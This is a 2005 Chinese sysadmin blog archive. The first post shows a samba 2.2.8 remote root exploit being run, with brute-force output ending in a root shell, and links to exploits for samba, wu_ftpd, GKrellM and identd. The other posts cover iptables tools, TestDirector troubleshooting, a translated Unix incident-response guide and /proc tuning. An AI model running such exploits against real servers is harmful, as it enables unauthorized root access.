+ Using ret: [0xbfffeae8]
+ Using ret: [0xbfffe9bc]
+ Using ret: [0xbfffe890]
+ Using ret: [0xbfffe764]
+ Using ret: [0xbfffe638]
+ Using ret: [0xbfffe50c]
+ Using ret: [0xbfffe3e0]
+ Using ret: [0xbfffe2b4]
+ Using ret: [0xbfffe188]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux learnin9 2.4.20-8 #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
id
uid=0(root) gid=0(root) groups=99(nobody)

看到了吧。就这么轻易的被夺取为root了。
我这只是localhost方式,其实远程也是一样的直接获取为root了。
请各位好好看看自己的Redhat 9吧。rpm -qa |grep ***** 是不是汗已经出来了?
还有bind gkrellmd wu_ftpd identd这些溢出程序。我不知道这些程序是否就是属于黑客界一些没有公布出来的溢出程序。呵呵!

我的服务器因为没有启动Bind、gkrellmd、wu_ftpd 、identd,只启动了默认安装的samba,而且还是在公网上,所以那个黑客就中奖入侵到我的服务器了。可喜可贺,我也是终于找到了这么好的工具。

自己欢喜一下。去看了一下http://www.natok.de/ 居然发现是中文的网站,究竟里面是谁?很好奇.........

可以说,r00t程序是Natok写的,但是exploit程序不是他写的,他只是将其它的溢出程序分门别类的。做了个友好的界面,不过能搜集到还是很强的。

希望能结识到这个家伙!

以上文章中提到的程序是natok写的,但是exp不是他的,只是他收集的基础上集合了下而已。翻翻我的东东发现这个samba溢出的代码俺也有是下面这个:

[vitter@Intel vitter]$ ./sambal -v -b 0 -t 21 172.16.37.245
samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)
--------------------------------------------------------------
+ Verbose mode.
+ Bruteforce mode. (Linux)
+ Host is running samba.
+ Using ret: [0xbffffed4]
+ Using ret: [0xbffffda8]
+ Using ret: [0xbffffc7c]
+ Using ret: [0xbffffb50]
+ Using ret: [0xbffffa24]
+ Using ret: [0xbffff8f8]
+ Using ret: [0xbffff7cc]
+ Using ret: [0xbffff6a0]
+ Using ret: [0xbffff574]
+ Using ret: [0xbffff448]
+ Using ret: [0xbffff31c]
+ Using ret: [0xbffff1f0]
+ Using ret: [0xbffff0c4]
+ Using ret: [0xbfffef98]
+ Using ret: [0xbfffee6c]
+ Using ret: [0xbfffed40]
+ Using ret: [0xbfffec14]
+ Using ret: [0xbfffeae8]
+ Using ret: [0xbfffe9bc]
+ Using ret: [0xbfffe890]
+ Using ret: [0xbfffe764]
+ Using ret: [0xbfffe638]
+ Using ret: [0xbfffe50c]
+ Using ret: [0xbfffe3e0]
+ Using ret: [0xbfffe2b4]
+ Using ret: [0xbfffe188]
+ Using ret: [0xbfffe05c]
+ Using ret: [0xbfffdf30]
+ Using ret: [0xbfffde04]
+ Using ret: [0xbfffdcd8]
+ Using ret: [0xbfffdbac]
+ Using ret: [0xbfffda80]
+ Using ret: [0xbfffd954]
+ Worked!
--------------------------------------------------------------
*** JE MOET JE MUIL HOUWE
Linux Intel 2.4.20-8 #2 Thu Jul 17 14:07:36 CST 2003 i686 i686 i386 GNU/Linux
uid=0(root) gid=0(root) groups=99(nobody)
id
uid=0(root) gid=0(root) groups=99(nobody)

另外几个找了找大部分有,只是bind这个没有,有空找找看。
具体的放出来:samba的:http://www.vfocus.net/art/20070201/1498.html
wu_ftpd的:http://www.vfocus.net/art/20070201/1499.html
GKrellM的:http://www.vfocus.net/art/20070201/1500.html
identd的:http://www.vfocus.net/art/20070201/1501.html
bind的搜集到的bind_exp.zip

Posted by vitter at 2005-12-23 17:49:17 | 评论 (0) | 引用

December 21, 2005

在线生成iptables防火墙脚本的网站


在线生成firewall脚本(iptables)--向导模式
Bifrost - GUI firewall management interface to iptables
http://bifrost.heimdalls.com

LinWiz - Linux configuration file and scripting Wizards
http://www.lowth.com/LinWiz/

GIPTables Firewall - IPTABLES Rules Generator
http://www.giptables.org/

[推荐] Easy Firewall Generator for IPTables(在线生成复杂的防火墙脚本*****)
http://morizot.net/firewall/gen/

PFG for IPTables 在线生成简单的防火墙脚本***
http://www.thegate.nu/pfg/

Firewall Builder - GUI Firewall Frontend(功能强大的防火墙构建工具*****)
http://www.fwbuilder.org/index.html

以下是类似的在线生成的其他推荐:

______________________________________________________
Dnsmasq - caching DNS forwarder
http://thekelleys.org.uk/dnsmasq/doc.html

FireHOL, the iptables stateful packet filtering firewall builder
http://firehol.sourceforge.net/

BullDog - A comprehensive and progressive firewall
http://tanaya.net/BullDog/
WallFire: wflogs - firewall log analysis tool
http://www.wallfire.org/wflogs/

Ulog-php - a php analyser for netfilter U-log
http://home.regit.org/ulogd-php.html

Firewall Tester
http://ftester.sourceforge.net/

YAFT's Another Firewall Tool
http://sourceforge.net/projects/yaft

Turtle Firewall Project
http://turtlefirewall.sourceforge.net/

TuxFrw - Firewall Automation Tool
http://tuxfrw.sourceforge.net/index.html

Shoreline Firewall
http://www.shorewall.net/
______________________________________
perl firewall在线生成
levy - Perl Firewall Generater
http://muse.linuxmafia.org/levy/
____________________________________
gSshield - BASH Shell Script Configurator
http://muse.linuxmafia.org/gshield.html
_________________________________
流量分析
Mason - Builds from system traffic
http://www.stearns.org/mason/
________________________________________
firewall log分析软件
adcfw-log - firewall logs analyzer/summarizer
http://adcfw-log.sourceforge.net/

IPTables log analyzer
http://www.gege.org/iptables/
_______________________

IPMENU - Curses Firewall Frontend
http://users.pandora.be/stes/ipmenu.html
________________________________
Firelogd - Firewall Log Daemon
http://www.speakeasy.org/~roux/dmn/
firewall log分析软件主页(fireparse)
Fireparse - Firewall Log Parser
http://aaron.marasco.com/linux.html
__________________________________________
SAINT - Assess the Security of Computer Networks
http://www.saintcorporation.com/saint/
saint在linux著名的扫描软件下面那个是下载地址
SATAN - Port Scanner with a Web Interface
http://www.ibiblio.org/pub/packages...atan-for-Linux/
_____________________________________
Abacus - Intrusion Prevention System
http://www.psionic.com/abacus/

Firewall Generator(在线生成简单的防火墙脚本***)
http://www.citadec.com/FirewallGenerator.html

Posted by vitter at 2005-12-21 15:30:24 | 评论 (0) | 引用

December 13, 2005

关于TD的"The RPC server is unavailable"的探讨及解决方案

“The RPC server is unavailable”是TD使用中相当常见的问题,在这里做个总结,希望朋友们一起交流探讨一下。

The RPC server is unavailable.翻译过来就是“RPC(远程过程调用)服务不可行。”--可以这么理解,它指的是“权限不够”的意思。

导致此原因的可能性很多很多,以下是我总结的几点(其中包含其它网友提供的资料,这里向他们表示感谢),希望大家补充:

1. RPC服务未启动。解决:控制面板-管理工具-服务-“Remote Procedure Call(RPC)”,启动一下(自动),服务状态“启动”;

2.服务器端IIS没装。解决:安装IIS。以2000系统为例,控制面板-添加删除程序-添加删除windows组件-“Internet 信息服务(IIS)”打一下勾,下一步……

3.你的系统没有打过补丁。如果你的系统是win2000,那么最好是打上sp3或者sp4补丁。根据个人猜测:如果你的TD的补丁是sp4,那么最好你的2000系统也打上sp4补丁(注意:别搞错了!一个是操作系统的补丁,一个是TD的补丁)。解决:安装系统补丁——去微软网站上down吧,伙计^_^

4.TD服务未启动。此种情况比较复杂,需要尝试不同的解决方案,先到TD所在的那台机器上,点右键的testdirector checker,看看出错提示,对症下药。
以下几种可以结合起来尝试(反正你都登不上了,不如死马当作活马医,您说对不):
①清空IE的cookies、History、缓存;删掉TD_76目录,重新下载一次插件;
②进入TD后,点add-ins page;进入后点TestDirector Connectivity ;然后点download add-in;手动下载插件安装;
③启动一下TD。到TD所在的那台电脑上,在系统栏右边有个小图标,鼠标移上去,点右键“Start TestDirector”;
④TD补丁没打,可以试安装TD sp4;
⑤密码被改了,请询问管理员;
⑥TD服务器装了多个版本的TD,兼容性问题;请卸载其中一个版本,重装TD;
⑦把 http://IP/tdbin/start_a.htm 改为 http://计算机名/tdbin/start_a.htm 试试;
⑧如果TD被移植过,到TD所在的那台机器上,点右键的CHANGE RUNAS,更改一下账号;
⑨TD数据库文件毁坏(文件都搁屁了,还混啥?),和管理员沟通一下吧;
⑩TD服务器的那台机器有问题。或许是中毒了,或许是操作系统问题(可能系统内存泄露导致服务器崩溃,可能是注册表问题,可能是其它问题……),或许是硬盘坏道问题--这几种情况的共性是有时有问题,有时又没问题,莫名其妙的。
在尝试了上述几种方案恢复均告失败后,这个情况的可能性大之又大,千万别忽略了,还真有人就遇到过这种情况。
重装TD的那台机子的系统或者干脆把TD转移到另一台机器上试试。

[转载请注明出处]

Posted by vitter at 2005-12-13 14:08:30 | 评论 (0) | 引用

December 06, 2005

翻译:UNIX系统下的应急响应工具介绍


原文:Incident Response Tools For Unix, Part One: System Tools
by Holt Sorenson
last updated March 27, 2003

翻译:Refdom
原文来源:http://www.securityfocus.com/infocus/1679
2003-10-20

(注:这是一篇基础的应急工具介绍文档。适合经验不多者。限于水平,不足之处请指出。)


整个文章分三个系列介绍对于 OpenBSD, Linux, 或者Solaris系统的应急响应和取证过程中有用的工具。本部份聚焦在系统工具上,第二部份主要是介绍文件系统工具,最后部分则主要是网络工具。本文用到的都是基于 OpenBSD 3.2, Debian GNU/Linux 3.0 (woody), RedHat 8.0 (psyche), and Solaris 9 (aka Solaris 2.9 or SunOS 5.9)的。

依赖于你所使用的操作系统,本文讨论的许多软件可能不是默认安装的。这种情况下,请根据文章后面的参考部分获得这些工具。


The Soapbox

那些可以用来处理入侵威胁的工具不在本系列讨论内容中,本文只覆盖在入侵发生之后使用的工具。入侵通常是可以防止的。使用一些比如保证系统更新安装最新补丁的技术,按照最小化服务配置系统,使用设计为安全的操作系统,使用能够加固系统的核心补丁等等,这些来防范入侵的技术可能让你根本就从来不会使用在本系列文章中介绍到的这些工具。

读者应该命令,一旦攻击者获得了系统控制权,这个系统就基本不应该被信任。我们讨论的工具多数都操作在用户方式。一个欺骗的核心模块可能不会让你正常地检查系统,比如,这个系统已经被入侵的情况下。这些欺骗的模块会采用多种办法来隐藏自己,比如根据系统设计来让自己在系统运行的时候不能轻易检测到。这意味着,你不应该相信你使用的那些工具的输出结果。这意味着在响应入侵事件中,应该采取怀疑、研究和谨慎的方式。

你用于分析系统的工具应该是你可以去信任,而且没有被修改的。下面讨论了一些技术,比如将工具保存在离线的只读介质中,这样,你就更可以信赖,而不是那些在已经被入侵的系统上的二进制程序。

你已经做了所有正确的事情,可以进行下面的一些练习,你的系统已经被入侵了。现在怎么办呢?


Breaking Out the Toolbelt

现在首先应该检查那些我们后面需要用到的工具。这里不说man(1)提供的信息,特别是因为命令参数因为系统不同而不同。检查这样的信息是留给读者的一种练习。

vmstat - 这是可以快速察看内存、CPU和磁盘子系统的命令。vmstat 通常执行一个短时间,以便可以察看子系统利用的趋势。vmstat 经常可以在系统性能有一些问题的时候帮助我们知道哪些地方应该去深究。

mpstat - 这个命令在Linux和Solaris上都有,可以用它察看处理器利用的统计。mpstat 提供一个选项,允许在多处理器系统中察看指定CPU的统计。vmstat 没有这个功能。

iostat - 显示比vmstat更详细的跟子系统相关的统计信息。

sar,sa,lastcomm,last - 这些是检查历史数据和一些近来的系统事件。sar是一个Solaris和Linux的系统性能分析工具。这些可以用于检查的性能数据类似于vmstat, mpstat和 iostat的显示。 sar的数据是一段时间保存的内容,因此可以察看过去的信息。 lastcomm可以现在系统最近被执行的命令。这些可以用在系统审计中。sa 可以在*BSD和Linux中找到,它给用户在系统审计中更多的选项来收集信息。

ps - 立足于进程状态,用于显示系统执行的进程和他们的信息。

top - 显示的信息同ps接近,但是top可以了解到CPU消耗,可以根据用户指定的时间来更新显示。

lsof - 列举打开的文件,显示系统当前打开的所有文件。Unix系统的所有东西几乎都可以看作是文件,因此lsof也显示了系统的状态中有重要意义的内容。

file - 判断文件是什么,不同的文件格式可以16进制的形式现实文件的内容

readelf - 显示二进制文件的ELF(可执行链接和格式)头的细节。这些内容可以判断可执行提供的函数。

od - 以用户指定的格式输出文件内容。od对于在文件内容中有一些解释的情况下察看原始内容是有帮助的。

ldd - 读取ELF头的内容,并显示可执行文件依赖的对象库。

string - 现实文件中的ASCII字符串。对于在二进制文件中查找其中可读的字符串是非常有用处的。

find - 用于在文件系统中查找指定的对象。

strace - 这个工具开始或者附加到一个当前运行的进程中,显示这个进程所作的所有系统调用。这可以用来判断程序运行的行为,并且来决定是否是合适的程序。strace 存在于Linux上。在 Solaris上是truss, *BSD提供的ktrace可以达到相似的功能。

sudo - 可以让管理员给用户以其他用户的权限执行命令的能力,而不用给该用户密码。

grep - 用于按照用户指定的模式查询。 grep用匹配规则。

less - 页面调度程序,用来按页显示文本。

在参考部分中的"CD-ROM and Floppy distributions"[3]中,一些站点介绍了怎么编译这些工具以便用于不同的操作系统,并放置在CD-ROM。现在,开始检查运行的系统了。


运气就是在机会面前有所准备

运气对于技术来说,并不是可求解的。攻击者可以采用很多方法来危及OS的安全。威胁系统安全的漏洞可能是OS提供商,也可以是那些应用软件。当漏洞还没有大面积公布,或者还没有让它的相关提供商自己知道的时候,攻击者已经在IRC里面知道那种系统可以被入侵了。作为一个安全管理员,你必须在这场游戏中表现一直出色。但是,攻击者则只需要一次就足够。

然而,你需要做许多前期的准备工作。你应该有一个应急响应的策略。你必须有一张CD-ROM或者软盘什么的,来存储检查系统中需要的工具,而不是使用被入侵的系统中的工具。如果正使用软盘,让他们处于写保护模式,你可以在取证[5]中获得非常优秀的资源。

现在回到机器上。把事件响应的日期和时间都纪录在记录本上。并且纪录采取的每一步的所有细节和时间。装载CD-ROM或者软盘,并且使用纪录在这些介质上的软件,紧记按照易失性的顺序[6]保存相关的信息到安全的地方。

按照易失性顺序的重要原因是因为入侵事件发生后与之相关信息的数量和自量都将随时间增加而迅速减少。那些经验丰富的攻击者制造的事件则可能让曲线更陡,下降速度更快。


了解自己

可能在入侵事件之前,你已经在系统上花费了大量时间。你了解这些系统的里里外外,进行了相当多的文档工作,并且做了备份。在系统上,开启了进程审计(或者*BSD的系统审计),进行了系统实时数据(sadc[8])来保存系统的性能数据。管理日志的时候,可能没有足够的空间来频繁存储这些数据,你可以发送syslog数据到安全的日志服务器上。

你接到webmaster的电话,他发现某个web服务器上CPU负载很高,而这个服务器每天的浏览量仅仅几千而已。webmaster确信服务器存在有什么问题。

vmstat 和 mpstat (只在*BSD系统上) 表明CPU被用户空间的一个或者多个进程消耗掉了,但是内存和I/O子系统还没有大量使用。 iostat 也显示出磁盘系统不正常。


$ vmstat 1 4
procs memory swap io system cpu
r b w swpd free buff cache si so bi bo in cs us sy id
1 0 0 376 7756 29772 570960 0 0 7 3 441 397 87 5 8
5 0 0 376 6728 29772 570960 0 0 0 0 498 1249 100 0 0
6 0 0 376 7240 29772 570960 0 0 0 0 652 1563 97 3 0
6 0 0 376 7604 29772 570960 0 0 0 0 536 1323 97 3 0
$ mpstat 1 4
20:51:21 CPU %user %nice %system %idle intr/s
20:51:22 all 100.00 0.00 0.00 0.00 479.00
20:51:23 all 100.00 0.00 0.00 0.00 496.00
20:51:24 all 100.00 0.00 0.00 0.00 499.00
20:51:25 all 97.00 0.00 3.00 0.00 481.00
Average: all 98.00 0.60 1.40 0.00 486.60
$ iostat -dk 1 4
Device: tps Blk_read/s Blk_wrtn/s Blk_read Blk_wrtn
dev3-0 0.00 0.00 0.01 73 1296
dev3-0 0.00 0.00 0.00 0 0
dev3-0 0.00 0.00 0.00 0 0
dev3-0 0.00 0.00 0.00 0 0


sar (*BSD的sa) 显示CPU从早些晚上 03:17 就开始被使用。 lastcomm 显示FTP客户端在03:17以root运行了几次, last 这个命令显示最近的登录,没有显示出这个时间段有 root 从什么地方登录进来。另外,这个服务器又使用 sudo来管理root权限。这里有两个系统管理员账号可以用 root登录,但是他们并没有登录过,特别是在 AM 3这个时间附近。根据这一点,你决定使用CD上准备好的二进制工具。现在运行 top -d1,并且发现apache这个进程占用了100%的CPU。

现在用 grep 检查apche的错误日志,这个GNU工具可以有更多有用的参数,-A, -B和-C 可以让你指定想从哪一个匹配的行的开始,之前或者周围看。 grep可以通过-E 来使用扩展的模式匹配表达式。可以检查系统日志。但是并没有在这些日志里面检查到什么奇怪的地方。

现在继续进行检查。运行 ps -eflcyL (Solaris 9),ps -eflcym --headers (Deb3.0, RH8.0)或者 ps auwxhkwvl(OBSD 3.2)。找到进程 apache,而这一次发现有问题了。这里只有一个apache进程和多个httpd进程。httpd实际上是Apache服务器,因为httpd是在apachectl文件执行的二进制,运行的apache是前派生的,因此,如果二进制文件被重命名为"apache",那么也应该有多个进程存在。这就是问题所在。

使用 lsof -p [9] ,发现这个apache进程打开了一个叫 john.pot 的文件。立刻通过google,查询这是一个叫“John the Ripper”的密码破解工具,正是这个东西让CPU满负荷了。

现在来检查这个所谓的apache程序。通过 file apache,表明这个文件是ELF可执行的。现在进行进一步的挖掘,执行 readelf -a apache,确信这是一个ELF可执行程序。 od -xc apache | less 现实ELF魔法数字(7f454c46),ldd显示apache连接的共享对象库比实际的httpd进程小一些,这里面一定有文章:


$ ldd ./apache
libc.so.6 => /lib/libc.so.6 (0x4001f000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$ ldd /usr/sbin/httpd
libm.so.6 => /lib/libm.so.6 (0x7002c000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x700c4000)
libdb.so.2 => /lib/libdb.so.2 (0x70100000)
libdb2.so.2 => /lib/libdb2.so.2 (0x70120000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x70180000)
libdl.so.2 => /lib/libdl.so.2 (0x701b4000)
libc.so.6 => /lib/libc.so.6 (0x701c8000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x70000000)


执行: strings | grep -i john,显示如下:

$ strings apache | grep -i john
/usr/share/john/password.lst
/etc/john.ini
~/john.pot
/etc/john.ini
john
John the Ripper Version 1.6 Copyright (c) 1996-98 by Solar Designer
/etc/john.ini
/etc/john.ini
/etc/john.ini


用 strace -fp 'pgrep apache'(Deb3.0, RH8.0), truss -fp 'pgrep apache'(Sol9),或者 ktrace -dip (OBSD 3.2),来察看apache进程到底在做什么。


# strace -fp `pgrep apache`
--- SIGALRM (Alarm clock) ---
sigreturn() = ? (mask now [])
--- SIGALRM (Alarm clock) ---
sigreturn() = ? (mask now [])
--- SIGALRM (Alarm clock) ---
sigreturn() = ? (mask now [])
_llseek(4, 65536, [65536], SEEK_SET) = 0
read(4, "\2YUz\0\2Z\0241\0\2ZA1dkmnr\0\2ZDa\0\2ZElnrd"..., 4096) = 4096
read(4, "\2\5Ma\0\2\5Te\0\2\6\n(\0\2\6>%\0\2\10\n&\0\2\10\0210\0"..., 4096) = 4096
read(4, "IPVm\0\2(%L\0\2((H\0\2(/CMRBNTUWcr\0\2(5"..., 4096) = 4096
read(4, "fgq\0\2BCh26o\0\2BDaikmoy\0\2BEanreltc"..., 4096) = 4096
read(4, "ag\0\2N\23l\0\2N\25j\0\2N\0269\0\2N\30f\0\2N!ds\0\2N)"..., 4096) = 4096
read(4, "\0\2_9LRMTes\0\2_:6Z\0\2_>&%\0\2_?)Cw\0\2_"..., 4096) = 4096
read(4, "%Antv\0\2%Cr\0\2%Dd\0\2%Gg\0\2%Ke\0\2%Lls\0"..., 4096) = 4096
read(4, "rtlpbdgiuv\0\2GBeam\0\2GDuy\0\2GEnert\0"..., 4096) = 4096
read(4, "We6hilw\0\2RYasdpcgilmno\0\2S\0205c\0\2S\21"..., 4096) = 4096
read(4, "68jDxMEBTIRNLAGSKCPOqVHFUZWJ$%#^"..., 4096) = 4096
read(4, "\0022In\0\0022Ke\0\0022LiEe\0\0022Ma\0\0022NEe\0\0022P"..., 4096) = 4096
read(4, "I5y\0\2I6e\0\2I7ae\0\2IAnmrs9t67dhlpuz"..., 4096) = 4096
read(4, "Eprylsenbu9ak013ft!Lcox\0\2SFi9aey"..., 4096) = 4096
read(4, "o149dlytwMbckr0u\0\2_Xixae01537926"..., 4096) = 4096
read(4, "2\0\2-!NCLS\0\2-%RS\0\2-)ETDNS\0\2--M\0\2-"..., 4096) = 4096
read(4, "!*bfgk\0\2GJu\0\2GLeiayYs\0\2GMaAoegu\0"..., 4096) = 4096
read(4, "Utsdbgmpy\0\2PWa\0\2PXy\0\2PY1!27sy.05"..., 4096) = 4096
read(4, "w!9bAjp5clgkr068EFSYf$.?CJKLW]n\0"..., 4096) = 4096
--- SIGALRM (Alarm clock) ---
sigreturn() = ? (mask now [])


用 grep -n 在John the Ripper的源代码中找到在 crk_password_loop()函数中有一个叫 sig_timer_emu_tick()的函数,它在timer_emu_max到达之后产生 SIGALRM。这就是 strace 显示的SIGALRM。通过 lsof -p 'pgrep apache'来检查哪个文件同读的文件描述符fd 4在读取数据,以及fd 4相关联的叫all.chr的文件。察看 john.ini 文件,找到所引用的 all.chr 文件。

所有迹象表明,这的确是一个密码破解工具, John the Ripper。因此,无论是你还是其他的任何管理员安装了这个工具,它运行起来的时候,就会好像web 服务器被入侵了。


结论

在下一篇文章中,我们会继续进行研究在Webserver使用文件系统工具的时候到底发生了什么事情。记住,面对任何威胁最好的准备是做好预防。当入侵真正发生的时候,你要做很多工作去了解你的系统,设置策略,和实施应急响应的技术,你的优势越明显,那么控制和根除威胁就更能实现。


[下面参考中的连接请察看原文档。]
References

[1] Acquiring/Installing software
• OpenBSD ports system
• FreeBSD ports system
• Freeware for Solaris
• HOWTO install packages on a Debian system
• Installing packages on a RedHat system
• GNU binutils (readelf)
• lsof
• top
• sudo
[2] Kernel Modules Countermeasures
• Dino Dai Zovi's paper on kernel rootkits
• Sealing the linux kernel
• gr-security linux kernel patch
• LIDS linux kernel patch
[3] CD-ROM and Floppy distributions
• Here is a link that explains how to make CD-ROMs on Linux: http://www.tldp.org/HOWTO/CD-Writing-HOWTO.html
• F.I.R.E. (Forensic and Incident Response Environment) Bootable CD
• Knoppix Linux
• How to Make a Bootable, Full System OpenBSD CD-ROM
• LNX-BBC mini-linux distribution
• Google's Tiny Linux distributions list
[4] Incident Response Policy
• Handbook for Computer Security Incident Response Teams
• Expectations for Computer Security Incident Response
• Recommended Internet Service Provider Security Services and Procedures
• Recovering from an Incident (CERT)
• Security Practices and Implementations (CERT)

[5] Forensics
• Incident response and Forensics Resources
• Forensics resources maintained by Dan Farmer
• Computer Forensics Resource Center

[6] Order of Volatility
• Computer Forensics Analysis Class: Introduction, Pg. 14 (Dan Farmer & Wietse Venema)
[7] Process accounting
• Solaris 9 SysAdmin Guide: Resource Management and Network Services, Ch 7
• Enabling Process Accounting on Linux HOWTO
• OpenBSD sa(8) man page
[8] System Activity Data Collector (sadc)
• sadc(8) Linux man page
• Solaris 9 SysAdmin Guide: Monitoring System Performance (Tasks), Ch 24
[9] lsof alternatives
Don't have lsof? These techniques might help.
Solaris 9:
1. use psto find the pid of the process you're interested in.
2. run /usr/proc/bin/pfiles .
3. Look for the string 'ino:' in the output. The number that follows is the 'inode number'.
4. run find -inum
OpenBSD 3.2:
1. run fstat -v.
2. Look in the INUM column to find the the inode numbers that a particular process has open.
3. run find -inum
Poking around in /proc (Deb 3.0, RH 8.0):
1. ls -l /proc//fd


进一步研究

下面的命令没有在本系列中列出来,它们在分析系统的时候也非常有帮助:nm, size, ar, objdump, what(OBSD3.2), ltrace(Deb3.0, RH8.0), /usr/procebin/*(Sol9), w, who, 和 fuser.

Posted by vitter at 2005-12-06 14:06:58 | 评论 (0) | 引用

November 24, 2005

使用 /proc 文件系统来控制系统


详细介绍有关 /proc 中每个文件的用法和确切信息超出了本文所涉及的范围。要获得任何关于本文没有涉及到的 /proc 文件的其它信息,一个最佳来源就是 Linux 内核源代码本身,它包含了一些非常优秀的文档。对于系统管理员,/proc 中的以下文件较有用。这不意味着它是一份详尽的说明,而只是日常使用中便于查阅的参考。

/proc/scsi
/proc/scsi/scsi
作为系统管理员,需要了解的最有用内容是,在有热交换驱动器情况下,如何不重启系统就可以添加更多磁盘空间。假使不使用 /proc,您可以插入驱动器,但为了使系统识别新磁盘,必须随即重新引导系统。这里,可以用以下命令来使系统识别新的驱动器:

echo "scsi add-single-device w x y z" > /proc/scsi/scsi

为使该命令正常运行,必须指定正确的参数值 w、x、y 和 z,如下所示:
w 是主机适配器标识,第一个适配器为零(0)
x 是主机适配器上的 SCSI 通道,第一个通道为零(0)
y 是设备的 SCSI 标识
z 是 LUN 号,第一个 LUN 为零(0)

一旦将磁盘添加到系统中之后,可以挂装任何先前已格式化的文件系统,也可以开始对它进行格式化等。例如,如果不确定磁盘是什么设备,或者想检查任何先前已有的分区,则可以用如 fdisk -l 这样的命令来向您报告这方面的信息。

相反的,在不重新引导系统的情况下将设备从系统中除去的命令是:

echo "scsi remove-single-device w x y z" > /proc/scsi/scsi

在输入这条命令并将热交换 SCSI 磁盘从系统中除去之前,请确保首先卸下已从该磁盘安装的任何文件系统。

/proc/sys/fs/
/proc/sys/fs/file-max
该文件指定了可以分配的文件句柄的最大数目。如果用户得到的错误消息声明由于打开文件数已经达到了最大值,从而他们不能打开更多文件,则可能需要增加该值。可将这个值设置成有任意多个文件,并且能通过将一个新数字值写入该文件来更改该值。

缺省设置:4096

/proc/sys/fs/file-nr
该文件与 file-max 相关,它有三个值:
已分配文件句柄的数目
已使用文件句柄的数目
文件句柄的最大数目
该文件是只读的,仅用于显示信息。

/proc/sys/fs/inode-*
任何以名称“inode”开头的文件所执行的操作与上面那些以名称“file”开头的文件所执行的操作一样,但所执行的操作与索引节点有关,而与文件句柄无关。

/proc/sys/fs/overflowuid 和 /proc/sys/fs/overflowgid
这两个文件分别保存那些支持 16 位用户标识和组标识的任何文件系统的用户标识(UID)和组标识(GID)。可以更改这些值,但如果您确实觉得需要这样做,那么您可能会发现更改组和密码文件项更容易些。

缺省设置:65534

/proc/sys/fs/super-max
该文件指定超级块处理程序的最大数目。挂装的任何文件系统需要使用超级块,所以如果挂装了大量文件系统,则可能会用尽超级块处理程序。

缺省设置:256

/proc/sys/fs/super-nr
该文件显示当前已分配超级块的数目。该文件是只读的,仅用于显示信息。

/proc/sys/kernel
/proc/sys/kernel/acct
该文件有三个可配置值,根据包含日志的文件系统上可用空间的数量(以百分比表示),这些值控制何时开始进行进程记帐:
如果可用空间低于这个百分比值,则停止进程记帐
如果可用空间高于这个百分比值,则开始进程记帐
检查上面两个值的频率(以秒为单位)
要更改这个文件的某个值,应该回送用空格分隔开的一串数字。

缺省设置:2 4 30

如果包含日志的文件系统上只有少于 2% 的可用空间,则这些值会使记帐停止,如果有 4% 或更多可用空间,则再次启动记帐。每 30 秒做一次检查。

/proc/sys/kernel/ctrl-alt-del
该文件有一个二进制值,该值控制系统在接收到 ctrl+alt+delete 按键组合时如何反应。这两个值表示:
零(0)值表示捕获 ctrl+alt+delete,并将其送至 init 程序。这将允许系统可以完美地关闭和重启,就好象您输入 shutdown 命令一样。
壹(1)值表示不捕获 ctrl+alt+delete,将执行非干净的关闭,就好象直接关闭电源一样。

缺省设置:0

/proc/sys/kernel/domainname
该文件允许您配置网络域名。它没有缺省值,也许已经设置了域名,也许没有设置。

/proc/sys/kernel/hostname
该文件允许您配置网络主机名。它没有缺省值,也许已经设置了主机名,也许没有设置。

/proc/sys/kernel/msgmax
该文件指定了从一个进程发送到另一个进程的消息的最大长度。进程间的消息传递是在内核的内存中进行,不会交换到磁盘上,所以如果增加该值,则将增加操作系统所使用的内存数量。

缺省设置:8192

/proc/sys/kernel/msgmnb
该文件指定在一个消息队列中最大的字节数。

缺省设置:16384

/proc/sys/kernel/msgmni
该文件指定消息队列标识的最大数目。

缺省设置:16

/proc/sys/kernel/panic
该文件表示如果发生“内核严重错误(kernel panic)”,则内核在重新引导之前等待的时间(以秒为单位)。零(0)秒设置在发生内核严重错误时将禁止重新引导。

缺省设置:0

/proc/sys/kernel/printk
该文件有四个数字值,它们根据日志记录消息的重要性,定义将其发送到何处。关于不同日志级别的更多信息,请阅读 syslog(2) 联机帮助页。该文件的四个值为:
控制台日志级别:优先级高于该值的消息将被打印至控制台
缺省的消息日志级别:将用该优先级来打印没有优先级的消息
最低的控制台日志级别:控制台日志级别可被设置的最小值(最高优先级)
缺省的控制台日志级别:控制台日志级别的缺省值

缺省设置:6 4 1 7

/proc/sys/kernel/shmall
该文件是在任何给定时刻系统上可以使用的共享内存的总量(以字节为单位)。

缺省设置:2097152

/proc/sys/kernel/shmax
该文件指定内核所允许的最大共享内存段的大小(以字节为单位)。

缺省设置:33554432

/proc/sys/kernel/shmmni
该文件表示用于整个系统共享内存段的最大数目。

缺省设置:4096

/proc/sys/kernel/sysrq
如果该文件指定的值为非零,则激活 System Request Key。

缺省设置:0

/proc/sys/kernel/threads-max
该文件指定内核所能使用的线程的最大数目。

缺省设置:2048

/proc/sys/net
/proc/sys/net/core/message_burst
写新的警告消息所需的时间(以 1/10 秒为单位);在这个时间内所接收到的其它警告消息会被丢弃。这用于防止某些企图用消息“淹没”您系统的人所使用的拒绝服务(Denial of Service)攻击。

缺省设置:50(5 秒)

/proc/sys/net/core/message_cost
该文件存有与每个警告消息相关的成本值。该值越大,越有可能忽略警告消息。

缺省设置:5

/proc/sys/net/core/netdev_max_backlog
该文件指定了,在接口接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目。

缺省设置:300

/proc/sys/net/core/optmem_max
该文件指定了每个套接字所允许的最大缓冲区的大小。

/proc/sys/net/core/rmem_default
该文件指定了接收套接字缓冲区大小的缺省值(以字节为单位)。

/proc/sys/net/core/rmem_max
该文件指定了接收套接字缓冲区大小的最大值(以字节为单位)。

/proc/sys/net/core/wmem_default
该文件指定了发送套接字缓冲区大小的缺省值(以字节为单位)。

/proc/sys/net/core/wmem_max
该文件指定了发送套接字缓冲区大小的最大值(以字节为单位)。

/proc/sys/net/ipv4
所有 IPv4 和 IPv6 的参数都被记录在内核源代码文档中。请参阅文件 /usr/src/linux/Documentation/networking/ip-sysctl.txt。

/proc/sys/net/ipv6
